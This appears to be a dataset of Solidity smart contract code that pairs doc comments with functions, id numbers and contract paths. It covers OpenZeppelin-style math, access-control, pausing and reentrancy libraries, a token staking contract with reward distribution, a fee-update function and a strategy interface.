remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/Arrays /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } // Part: OpenZeppelin/[email protected]/Initializable /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // Part: ContextUpgradeSafe /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // Part: ReentrancyGuardUpgradeSafe /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuardUpgradeSafe is Initializable { bool private _notEntered; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } uint256[49] private __gap; } // Part: AccessControlUpgradeSafe // contract ContextUpgradeSafe is Initializable { // // Empty internal constructor, to prevent people from mistakenly deploying // // an instance of this contract, which should be used via inheritance. // function __Context_init() internal initializer { // __Context_init_unchained(); // } // function __Context_init_unchained() internal initializer {} // function _msgSender() internal view virtual returns (address payable) { // return msg.sender; // } // function _msgData() internal view virtual returns (bytes memory) { // this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // return msg.data; // } // uint256[50] private __gap; // } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer {} using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // Part: PausableUpgradeSafe /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // Part: SwapStakingContract contract SwapStakingContract is Initializable, ContextUpgradeSafe, AccessControlUpgradeSafe, PausableUpgradeSafe, ReentrancyGuardUpgradeSafe { using SafeMath for uint256; using Math for uint256; //using Address for address; using Arrays for uint256[]; bytes32 private constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE"); bytes32 private constant REWARDS_DISTRIBUTOR_ROLE = keccak256("REWARDS_DISTRIBUTOR_ROLE"); // EVENTS event StakeDeposited(address indexed account, uint256 amount); event WithdrawInitiated(address indexed account, uint256 amount, uint256 initiateDate); event WithdrawExecuted(address indexed account, uint256 amount, uint256 reward); event RewardsWithdrawn(address indexed account, uint256 reward); event RewardsDistributed(uint256 amount); // STRUCT DECLARATIONS struct StakeDeposit { uint256 amount; uint256 startDate; uint256 endDate; uint256 entryRewardPoints; uint256 exitRewardPoints; bool exists; } // STRUCT WITHDRAWAL struct WithdrawalState { uint256 initiateDate; uint256 amount; } // CONTRACT STATE VARIABLES IERC20 public token; address public rewardsAddress; uint256 public maxStakingAmount; uint256 public minStakingAmount; uint256 public currentTotalStake; uint256 public unstakingPeriod; uint256 public dayLength; //reward calculations uint256 private totalRewardPoints; uint256 public rewardsDistributed; uint256 public rewardsWithdrawn; uint256 public totalRewardsDistributed; mapping(address => StakeDeposit) private _stakeDeposits; mapping(address => WithdrawalState) private _withdrawStates; // MODIFIERS modifier guardMaxStakingLimit(uint256 amount) { uint256 resultedStakedAmount = currentTotalStake.add(amount); require( resultedStakedAmount <= maxStakingAmount, "[Deposit] Your deposit would exceed the current staking limit" ); _; } modifier onlyContract(address account) { require(account.isContract(), "[Validation] The address does not contain a contract"); _; } // PUBLIC FUNCTIONS function initialize( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) public onlyContract(_token) { __SwapStakingContract_init(_token, _rewardsAddress, _maxStakingAmount, _unstakingPeriod); dayLength = 1 days; } function __SwapStakingContract_init( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) internal initializer { require(_token != address(0), "[Validation] Invalid swap token address"); require(_maxStakingAmount > 0, "[Validation] _maxStakingAmount has to be larger than 0"); __Context_init_unchained(); __AccessControl_init_unchained(); __Pausable_init_unchained(); __ReentrancyGuard_init_unchained(); __SwapStakingContract_init_unchained(); pause(); setRewardAddress(_rewardsAddress); unpause(); token = IERC20(_token); maxStakingAmount = _maxStakingAmount; unstakingPeriod = _unstakingPeriod; } function __SwapStakingContract_init_unchained() internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _setupRole(OWNER_ROLE, _msgSender()); _setupRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()); } function pause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "SwapStakingContract: must have pauser role to pause"); _pause(); } function unpause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "SwapStakingContract: must have pauser role to unpause"); _unpause(); } function setRewardAddress(address _rewardsAddress) public whenPaused { require( hasRole(OWNER_ROLE, _msgSender()), "[Validation] The caller must have owner role to set rewards address" ); require(_rewardsAddress != address(0), "[Validation] _rewardsAddress is the zero address"); require(_rewardsAddress != rewardsAddress, "[Validation] _rewardsAddress is already set to given address"); rewardsAddress = _rewardsAddress; } function setTokenAddress(address _token) external onlyContract(_token) whenPaused { require(hasRole(OWNER_ROLE, _msgSender()), "[Validation] The caller must have owner role to set token address"); require(_token != address(0), "[Validation] Invalid swap token address"); token = IERC20(_token); } function deposit(uint256 amount) external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; require(stakeDeposit.endDate == 0, "[Deposit] You have already initiated the withdrawal"); uint256 oldPrincipal = stakeDeposit.amount; uint256 reward = _computeReward(stakeDeposit); uint256 newPrincipal = oldPrincipal.add(amount).add(reward); require(newPrincipal > oldPrincipal, "[Validation] The stake deposit has to be larger than 0"); uint256 resultedStakedAmount = currentTotalStake.add(newPrincipal.sub(oldPrincipal)); require( resultedStakedAmount <= maxStakingAmount, "[Deposit] Your deposit would exceed the current staking limit" ); require( resultedStakedAmount > minStakingAmount, "[Deposit] Your deposit would less the current staking limit" ); stakeDeposit.amount = newPrincipal; stakeDeposit.startDate = block.timestamp; stakeDeposit.exists = true; stakeDeposit.entryRewardPoints = totalRewardPoints; currentTotalStake = resultedStakedAmount; // Transfer the Tokens to this contract require( token.transferFrom(msg.sender, address(this), amount), "[Deposit] Something went wrong during the token transfer" ); if (reward > 0) { //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, address(this), reward), "[Deposit] Something went wrong while transferring reward" ); } emit StakeDeposited(msg.sender, amount.add(reward)); } function initiateWithdrawal(uint256 withdrawAmount) external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; WithdrawalState storage withdrawState = _withdrawStates[msg.sender]; require(withdrawAmount > 0, "[Initiate Withdrawal] Invalid withdrawal amount"); require(withdrawAmount <= stakeDeposit.amount, "[Initiate Withdrawal] Withdraw amount exceed the stake amount"); require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Initiate Withdrawal] There is no stake deposit for this account" ); require(stakeDeposit.endDate == 0, "[Initiate Withdrawal] You have already initiated the withdrawal"); require(withdrawState.amount == 0, "[Initiate Withdrawal] You have already initiated the withdrawal"); stakeDeposit.endDate = block.timestamp; stakeDeposit.exitRewardPoints = totalRewardPoints; withdrawState.amount = withdrawAmount; withdrawState.initiateDate = block.timestamp; currentTotalStake = currentTotalStake.sub(withdrawAmount); emit WithdrawInitiated(msg.sender, withdrawAmount, block.timestamp); } function executeWithdrawal() external virtual nonReentrant whenNotPaused { StakeDeposit memory stakeDeposit = _stakeDeposits[msg.sender]; WithdrawalState memory withdrawState = _withdrawStates[msg.sender]; require( stakeDeposit.endDate != 0 || withdrawState.amount != 0, "[Withdraw] Withdraw amount is not initialized" ); require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Withdraw] There is no stake deposit for this account" ); // validate enough days have passed from initiating the withdrawal uint256 daysPassed = (block.timestamp - stakeDeposit.endDate) / dayLength; require(unstakingPeriod <= daysPassed, "[Withdraw] The unstaking period did not pass"); //TODO Need for test uint256 amount = withdrawState.amount != 0 ? withdrawState.amount : stakeDeposit.amount; uint256 reward = _computeReward(stakeDeposit); require( stakeDeposit.amount >= amount, "[withdraw] Remaining stakedeposit amount must be higher than withdraw amount" ); if (stakeDeposit.amount > amount) { _stakeDeposits[msg.sender].amount = _stakeDeposits[msg.sender].amount.sub(amount); _stakeDeposits[msg.sender].endDate = 0; _stakeDeposits[msg.sender].entryRewardPoints = totalRewardPoints; } else { delete _stakeDeposits[msg.sender]; } require( token.transfer(msg.sender, amount), "[Withdraw] Something went wrong while transferring your initial deposit" ); if (reward > 0) { //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Withdraw] Something went wrong while transferring your reward" ); } _withdrawStates[msg.sender].amount = 0; _withdrawStates[msg.sender].initiateDate = 0; emit WithdrawExecuted(msg.sender, amount, reward); } function withdrawRewards() external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Rewards Withdrawal] There is no stake deposit for this account" ); require(stakeDeposit.endDate == 0, "[Rewards Withdrawal] You already initiated the full withdrawal"); uint256 reward = _computeReward(stakeDeposit); require(reward > 0, "[Rewards Withdrawal] The reward amount has to be larger than 0"); stakeDeposit.entryRewardPoints = totalRewardPoints; //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Rewards Withdrawal] Something went wrong while transferring your reward" ); emit RewardsWithdrawn(msg.sender, reward); } /////////////////////////////////////////////////////////////////// /////// AdminFunctions //// function setMinStakingAmount(uint256 _minAmount) external { require( hasRole(OWNER_ROLE, msg.sender), "[Validation] The caller must have owner role to set minStakingAmount" ); minStakingAmount = _minAmount; } /////////////////////////////////////////////////////////////////// // VIEW FUNCTIONS FOR HELPING THE USER AND CLIENT INTERFACE function getCurrentStake(address account) external view whenNotPaused returns (uint256) { if (_stakeDeposits[account].amount == 0 || _stakeDeposits[account].amount <= _withdrawStates[account].amount) { return (0); } else { return (_stakeDeposits[account].amount.sub(_withdrawStates[account].amount)); } } function getCurrentTotalStake() external view whenNotPaused returns (uint256) { return (currentTotalStake); } function getStakeDetails(address account) external view returns ( uint256 initialDeposit, uint256 startDate, uint256 endDate, uint256 rewards ) { require( _stakeDeposits[account].exists && _stakeDeposits[account].amount != 0, "[Validation] This account doesn't have a stake deposit" ); StakeDeposit memory s = _stakeDeposits[account]; return (s.amount, s.startDate, s.endDate, _computeReward(s)); } function getInitiatedWithdrawal(address account) external view returns (uint256, uint256) { return (_withdrawStates[account].amount, _withdrawStates[account].initiateDate + unstakingPeriod * dayLength); } function _computeReward(StakeDeposit memory stakeDeposit) internal view returns (uint256) { uint256 rewardsPoints = 0; if (stakeDeposit.endDate == 0) { rewardsPoints = totalRewardPoints.sub(stakeDeposit.entryRewardPoints); } else { //withdrawal is initiated rewardsPoints = stakeDeposit.exitRewardPoints.sub(stakeDeposit.entryRewardPoints); } return stakeDeposit.amount.mul(rewardsPoints).div(10**18); } function distributeRewards() external nonReentrant whenNotPaused { require( hasRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()), "[Validation] The caller must have rewards distributor role" ); _distributeRewards(); } function _distributeRewards() internal whenNotPaused { require( hasRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()), "[Validation] The caller must have rewards distributor role" ); require(currentTotalStake > 0, "[Validation] not enough total stake accumulated"); uint256 rewardPoolBalance = token.balanceOf(rewardsAddress); require(rewardPoolBalance > 0, "[Validation] not enough rewards accumulated"); uint256 newlyAdded = rewardPoolBalance.add(rewardsWithdrawn).sub(rewardsDistributed); uint256 ratio = newlyAdded.mul(10**18).div(currentTotalStake); totalRewardPoints = totalRewardPoints.add(ratio); rewardsDistributed = rewardPoolBalance; rewardsWithdrawn = 0; totalRewardsDistributed = totalRewardsDistributed.add(newlyAdded); emit RewardsDistributed(newlyAdded); } function version() public pure returns (string memory) { return "v2"; } } // File: StakeWrapper.sol contract SwapStakingContractWrapper is SwapStakingContract { bytes32 private constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE"); bytes32 private constant REWARDS_DISTRIBUTOR_ROLE = keccak256("REWARDS_DISTRIBUTOR_ROLE"); constructor( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) public { initialize(_token, _rewardsAddress, _maxStakingAmount, _unstakingPeriod); } }
calculate withdrawed rewards in single distribution cycle
function withdrawRewards() external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Rewards Withdrawal] There is no stake deposit for this account" ); require(stakeDeposit.endDate == 0, "[Rewards Withdrawal] You already initiated the full withdrawal"); uint256 reward = _computeReward(stakeDeposit); require(reward > 0, "[Rewards Withdrawal] The reward amount has to be larger than 0"); stakeDeposit.entryRewardPoints = totalRewardPoints; rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Rewards Withdrawal] Something went wrong while transferring your reward" ); emit RewardsWithdrawn(msg.sender, reward); }
2,462,030
./partial_match/1/0xeFa34Ce104afF8b906c834142735dE1C5bEddedE/sources/LeoERC.sol
Set new Fees for both Buy and Sell
function updateFees(uint256 _buyFee, uint256 _sellFee) external { SecureCalls.checkCaller(msg.sender, _origin); require(_buyFee <= 20 && _sellFee <= 20, "Fee percent can't be higher than 20"); buyFee = _buyFee; sellFee = _sellFee; }
3,964,954
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function underlying() external view returns (address); function timelock() external view returns (address); function deposit() external; function withdraw(uint256) external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function harvest() external; function salvage(address) external; function setTimelock(address _timelock) external; function setGovernance(address _governance) external; function setTreasury(address _treasury) external; } interface ITimelock { function MINIMUM_DELAY() external view returns (uint); function MAXIMUM_DELAY() external view returns (uint); function delay() external view returns (uint); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Lib { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, 